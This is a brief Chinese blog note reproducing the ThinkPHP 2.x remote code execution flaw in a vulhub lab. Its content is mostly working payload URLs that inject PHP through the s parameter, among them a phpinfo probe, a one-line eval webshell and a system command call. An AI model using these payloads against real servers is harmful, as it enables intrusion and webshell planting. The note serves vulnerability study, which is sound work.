【自用】Thinkphp 2.0rce漏洞复现笔记

x140_shu

已于 2024-09-09 15:38:33 修改

阅读量296

点赞数 3

分类专栏：中间件漏洞复现文章标签：笔记网络安全安全 web安全 php 中间件

于 2024-09-09 15:27:10 首次发布

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/ex_island/article/details/142060002

版权

中间件漏洞复现专栏收录该内容

3 篇文章

订阅专栏

vulhub靶场复现Thinkphp 2.0rce漏洞（打算趁着最近有时间，把一些中间件的漏洞都尝试复现一下，并且记录好）

poc：ip:port/inedx.php?s=a/b/c/${phpcode}

例如①ip:8080/index.php?s=a/b/c${phpinfo()}----phpinfo

②ip:8080/index.php?s=a/b/c${print(eval($_POST[a]))}----一句话木马

附带一张图ip:8080/index.php?s=a/b/c${print(eval(system(pwd)))}

仅记录学习，复现过程

漏洞产生原理参考博客：漏洞复现-2.x rce-Thinkphp远程命令执行 - 铺哩 - 博客园 (cnblogs.com)

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。